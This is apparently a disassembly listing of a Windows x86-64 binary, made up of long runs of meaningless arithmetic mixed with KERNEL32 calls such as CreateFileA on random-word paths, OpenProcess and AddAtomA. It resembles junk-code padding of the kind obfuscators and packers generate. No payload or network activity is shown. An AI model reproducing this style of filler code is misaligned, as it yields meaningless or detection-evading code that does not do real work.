mov rax, qword [rsp + 0x9cf0]
mov ecx, dword [section..data]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4a80], eax
lea rax, [rsp + 0x9908]
mov qword [rsp + 0xc948], rax
lea rax, [rsp + 0x16b]
mov qword [0x1401e7a20], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x439c], eax
mov rax, qword [rsp + 0x9b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9888]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x16c], al
mov rax, qword [0x1401e79b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb9c0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb4e0]
mov word [rcx], ax
movzx eax, word [rsp + 0xe2c]
mov word [rsp + 0x1268], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movzx eax, word [rsp + 0x11b0]
movzx ecx, word [rsp + 0xdec]
or eax, ecx
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
mov eax, dword [section..data]
mov dword [rsp + 0x4ca8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4cac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc298]
mov rcx, qword [rsp + 0xbd50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45c8], eax
mov rax, qword [rsp + 0xb748]
mov rax, qword [rax]
mov qword [rsp + 0xc950], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4308], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0xbf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa1b8]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x172c
mov r9d, 0x1d67
mov r8d, 0x3ab2
mov edx, 0x37d6
mov rcx, qword [rsp + 0x9978]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4cb0], eax
mov rax, qword [rsp + 0xc658]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc6b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x13f], al
mov rcx, qword [rsp + 0xadd0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x10d0]
movsx ecx, word [0x1401e610c]
add eax, ecx
mov rcx, qword [0x1401e77f0]
mov word [rcx], ax
movzx eax, word [rsp + 0xca4]
mov word [rsp + 0x126c], ax
mov rax, qword [rsp + 0xb550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa5c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8f0]
mov byte [rcx], al
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xc958], rax
mov rax, qword [rsp + 0xc040]
mov rcx, qword [rsp + 0xa5e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xba38]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0xc620]
mov ecx, dword [rsp + 0x44ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4720], eax
mov edx, 0x2129da
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x44ec], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:Bewildering_brilliantly_admiringly
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc960], rax
mov rax, qword [rsp + 0x9480]
mov qword [rsp + 0xc968], rax
mov eax, dword [rsp + 0x4584]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x424c], eax
movzx eax, word [rsp + 0x10d8]
mov word [rsp + 0x1270], ax
lea rcx, [rsp + 0x26a58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xea4]
mov word [0x1401e7a28], ax
movsx eax, word [rsp + 0x1124]
mov rcx, qword [rsp + 0xbca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe28], ax
mov rax, qword [rsp + 0xa688]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb408]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1160], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6083
mov rcx, qword [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4530], eax
mov rax, qword [rsp + 0xa8c0]
movzx eax, byte [rax]
mov byte [rsp + 0x1a5], al
mov rax, qword [rsp + 0x9620]
mov rcx, qword [rsp + 0x9dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc918]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba38]
mov rax, qword [rax]
mov qword [rsp + 0xc970], rax
mov rax, qword [rsp + 0xad78]
mov rcx, qword [rsp + 0x9010]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb8a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4214]
mov rcx, qword [rsp + 0xab40]
mov qword [rsp + 0xc978], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc978]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4524], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0xd7]
movzx ecx, byte [rsp + 0x16d]
or eax, ecx
mov byte [0x1401e6082], al
movzx eax, word [0x1401e6084]
movzx ecx, word [rsp + 0x10c0]
sar eax, cl
mov rcx, qword [rsp + 0x9c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d98]
movzx eax, word [rax]
mov word [rsp + 0x1274], ax
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0xe8]
and eax, ecx
mov rcx, qword [rsp + 0xc760]
mov byte [rcx], al
lea rax, [rsp + 0x4ad8]
mov qword [rsp + 0xc980], rax
mov rax, qword [rsp + 0x9408]
mov rcx, qword [rsp + 0xc190]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc828]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5f1c
mov rcx, qword [rsp + 0xace8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c0c], eax
mov rax, qword [0x1401e6008]
mov rcx, qword [rsp + 0xc970]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbd38]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0xaac8]
mov eax, dword [rax]
mov dword [rsp + 0x4cb4], eax
movsx eax, word [rsp + 0x11d4]
mov rcx, qword [rsp + 0xb280]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10ec], ax
movzx eax, byte [rsp + 0xe5]
mov rcx, qword [0x1401e75d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e60ab], al
mov rax, qword [rsp + 0xa910]
movzx eax, byte [rax]
mov byte [rsp + 0x1a7], al
mov rax, qword [rsp + 0xc120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1084], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
movsx eax, byte [rsp + 0x18b]
mov rcx, qword [0x1401e75a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x192], al
lea rax, [rsp + 0x1050]
mov qword [rsp + 0xc988], rax
mov rax, qword [rsp + 0xa200]
mov rcx, qword [rsp + 0xbf18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc288], rax
lea rcx, str.reticule_clubhouse_reign_Drummed
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1278], ax
mov rax, qword [rsp + 0xa1b0]
mov eax, dword [rax]
mov dword [rsp + 0x4cb8], eax
mov rax, qword [rsp + 0xbab8]
mov rcx, qword [rsp + 0xb830]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4a98]
shl eax, cl
mov rcx, qword [rsp + 0x9ee8]
mov dword [rcx], eax
lea rax, [0x1401e6033]
mov qword [0x1401e7a30], rax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0xc990], rax
movzx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0xa3b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0xc6a8]
movzx eax, byte [rax]
mov byte [rsp + 0x1a8], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movsx eax, word [0x1401e78b8]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x100c], ax
mov eax, dword [rsp + 0x4618]
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0xb040]
mov rcx, qword [rsp + 0xa7b8]
mov qword [rsp + 0xc998], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc998]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb098]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1134]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xa640]
mov rcx, qword [0x1401e7410]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96f0]
mov qword [rcx], rax
mov r9d, 0x1f2c
xor r8d, r8d
lea rdx, [rsp + 0xb1e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4cc0], eax
lea rax, [rsp + 0x46e0]
mov qword [rsp + 0xc9a0], rax
movzx eax, word [rsp + 0xce4]
mov rcx, qword [rsp + 0xab28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e60f4], ax
movsx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0xa9f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa740]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x1a9], al
mov rax, qword [rsp + 0x99b8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e746d]
sub eax, ecx
mov byte [rsp + 0xb9], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xc480], rax
movzx eax, word [rsp + 0xbd0]
movzx ecx, word [rsp + 0xbe4]
add eax, ecx
mov word [rsp + 0xf74], ax
lea rax, [rsp + 0x49f8]
mov qword [rsp + 0xc9a8], rax
mov rcx, qword [rsp + 0xc080]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x48e8], eax
lea rcx, [rsp + 0xc9b0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x91a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9fa0]
mov qword [rsp + 0xc9b8], rax
mov rax, qword [rsp + 0xba38]
mov rcx, qword [rsp + 0xac68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb6c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc900]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e604e]
add eax, ecx
mov byte [0x1401e60ae], al
xor r9d, r9d
lea r8, [rsp + 0xacf0]
mov rdx, qword [rsp + 0xbf08]
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0xb878]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
sub eax, ecx
mov rcx, qword [rsp + 0x9eb0]
mov word [rcx], ax
lea rax, [rsp + 0x148]
mov qword [rsp + 0xc9c0], rax
movsx eax, word [rsp + 0xb84]
movsx ecx, word [rsp + 0x1188]
sub eax, ecx
mov word [rsp + 0xd48], ax
lea rax, [rsp + 0x145]
mov qword [rsp + 0xc9c8], rax
mov eax, dword [rsp + 0x4464]
movzx ecx, al
mov eax, dword [rsp + 0x488c]
sar eax, cl
mov dword [rsp + 0x44e8], eax
mov rax, qword [rsp + 0xac68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb268]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9908], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x4b7c]
mov qword [rsp + 0xc9d0], rax
movzx ecx, word [rsp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92d8]
mov qword [rsp + 0xc9d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc9d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc7a8], rax
mov rax, qword [rsp + 0xc628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96b8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401e7930]
mov word [rcx], ax
mov rcx, qword [rsp + 0xa638]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4bb4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xc9e0], rax
lea rax, [rsp + 0xf20]
mov qword [rsp + 0xc9e8], rax
movsx eax, byte [rsp + 0xbf]
movsx ecx, byte [rsp + 0x116]
and eax, ecx
mov byte [rsp + 0xe4], al
movzx ecx, word [rsp + 0x1134]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd28], ax
lea rax, [rsp + 0xda]
mov qword [rsp + 0xc9f0], rax
mov rcx, qword [rsp + 0xb838]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4694], eax
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0x10f0]
sub eax, ecx
mov word [rsp + 0xe4c], ax
mov rax, qword [rsp + 0xc7d8]
mov rcx, qword [rsp + 0xc4e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb858]
mov qword [rcx], rax
mov rax, qword [0x1401e7420]
mov qword [rsp + 0xc9f8], rax
mov rax, qword [rsp + 0xc780]
mov ecx, dword [rsp + 0x4c70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x489c], eax
lea rax, [rsp + 0x4244]
mov qword [rsp + 0xca00], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0x9c60]
mov rdx, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xc700]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0xa3c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa100]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e60af], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xca08], rax
mov rcx, qword [rsp + 0xca08]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4be8], eax
movzx eax, word [rsp + 0xd0c]
movzx ecx, word [rsp + 0x1104]
add eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [0x1401e78d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15d], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xc470]
movzx eax, word [rax]
mov word [rsp + 0x127c], ax
lea rcx, str.Scientists_fetus
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1280], ax
mov rax, qword [rsp + 0xad10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa590]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa888]
mov word [rcx], ax
mov rax, qword [rsp + 0xb8a0]
mov rax, qword [rax]
mov qword [rsp + 0xca10], rax
mov rax, qword [rsp + 0xb6c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0xa7c8]
mov rcx, qword [rsp + 0x95f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4f8]
mov dword [rcx], eax
lea rax, [rsp + 0x4bb8]
mov qword [rsp + 0xca18], rax
movsx eax, byte [0x1401e607f]
mov rcx, qword [rsp + 0x9608]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1401e7848]
mov byte [rcx], al
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa5]
shl eax, cl
mov rcx, qword [rsp + 0x96d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov byte [rsp + 0x1aa], al
lea rcx, [rsp + 0x268a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [0x1401e613c]
movsx ecx, word [rsp + 0x1088]
or eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
lea rax, [rsp + 0x196]
mov qword [rsp + 0xca20], rax
mov rax, qword [rsp + 0x9150]
mov ecx, dword [rsp + 0x457c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4998], eax
mov rax, qword [rsp + 0xc330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9128]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb748]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaee8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc3a0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc70]
mov rcx, qword [rsp + 0xb170]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6054], ax
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0x1ab], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xb9a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf4c], ax
lea rcx, [rsp + 0x8c48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xc130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [rsp + 0xab58]
mov word [rcx], ax
mov rax, qword [rsp + 0x97e0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ac], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:LoudspeakerDappleddohentertainmentsembedded
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xca28], rax
mov edx, 0x2485
mov rcx, qword [rsp + 0xc340]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a88], eax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [0x1401e7420]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa8b8], rax
lea rax, [rsp + 0x4634]
mov qword [rsp + 0xca30], rax
mov rax, qword [rsp + 0x9928]
mov rcx, qword [rsp + 0xc508]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb750], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xc308]
mov ecx, dword [rsp + 0x45fc]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xa418]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2d8]
movzx eax, word [rax]
mov word [rsp + 0x1284], ax
lea rax, [rsp + 0x134]
mov qword [0x1401e7a38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xa760]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10a0]
and eax, ecx
mov word [rsp + 0x1148], ax
movzx eax, byte [rsp + 0x174]
mov byte [rsp + 0x1ad], al
movsx eax, word [rsp + 0x106c]
movsx ecx, word [rsp + 0xd80]
sub eax, ecx
mov rcx, qword [rsp + 0xa888]
mov word [rcx], ax
mov rax, qword [0x1401e6008]
mov rcx, qword [rsp + 0xb730]
mov qword [rsp + 0xca38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca38]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xae68]
mov qword [rcx], rax
lea rax, [rsp + 0x4a98]
mov qword [rsp + 0xca40], rax
mov rax, qword [rsp + 0x95b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4be4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:Apologiesmirage
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xca48], rax
mov rax, qword [rsp + 0xa028]
mov qword [rsp + 0xca50], rax
mov r9d, 0x1aae
xor r8d, r8d
lea rdx, [rsp + 0xb820]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4aa0], eax
mov rax, qword [0x1401e7798]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc510]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9388]
mov word [rcx], ax
mov rcx, qword [rsp + 0xb700]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4b3c], eax
lea rax, [rsp + 0x187]
mov qword [0x1401e7a40], rax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0x9c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf40]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xfb4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:_asylumGluing
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xca58], rax
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0xa610]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa5], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xaac0]
mov qword [rsp + 0xca60], rax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x9360]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc200], rax
mov eax, dword [rsp + 0x49ec]
mov dword [rsp + 0x4cc8], eax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xb3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb7d0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf1c]
mov rcx, qword [rsp + 0xa490]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf7c], ax
movzx eax, word [rsp + 0x11b0]
mov rcx, qword [rsp + 0xb170]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e612c], ax
lea rax, [rsp + 0x140]
mov qword [rsp + 0xca68], rax
movsx eax, byte [0x1401e6037]
mov rcx, qword [rsp + 0x9e70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov byte [rcx], al
lea rcx, str.Downhearted_snipers
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x121c], ax
lea rax, [rsp + 0xf20]
mov qword [rsp + 0xca70], rax
mov rax, qword [rsp + 0xc068]
mov rcx, qword [rsp + 0x9690]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa8b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa418]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49bc], eax
mov rcx, qword [rsp + 0x9d00]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4ccc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xacc0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc5e8], rax
lea rax, [rsp + 0x9998]
mov qword [rsp + 0xca78], rax
mov rax, qword [rsp + 0x9878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ad0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4814], eax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov byte [rsp + 0x1af], al
movzx eax, word [rsp + 0x1208]
mov word [0x1401e7a48], ax
movsx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x9af0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa920]
mov byte [rcx], al
movsx eax, word [rsp + 0x1220]
movsx ecx, word [rsp + 0xe10]
and eax, ecx
mov word [rsp + 0x1128], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:Fence_sake
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xca80], rax
mov rax, qword [rsp + 0xb238]
movzx eax, byte [rax]
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0xbb28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1144]
or eax, ecx
mov rcx, qword [rsp + 0xc990]
mov word [rcx], ax
mov eax, dword [rsp + 0x45bc]
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0xc810]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ca8]
sar eax, cl
mov rcx, qword [rsp + 0x9a90]
mov dword [rcx], eax
lea rdx, [rsp + 0xab68]
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x45c4], eax
mov rax, qword [rsp + 0xb8b0]
mov rax, qword [rax]
mov qword [rsp + 0xca88], rax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [0x1401e7420]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x17d]
shl eax, cl
mov rcx, qword [0x1401e7970]
mov byte [rcx], al
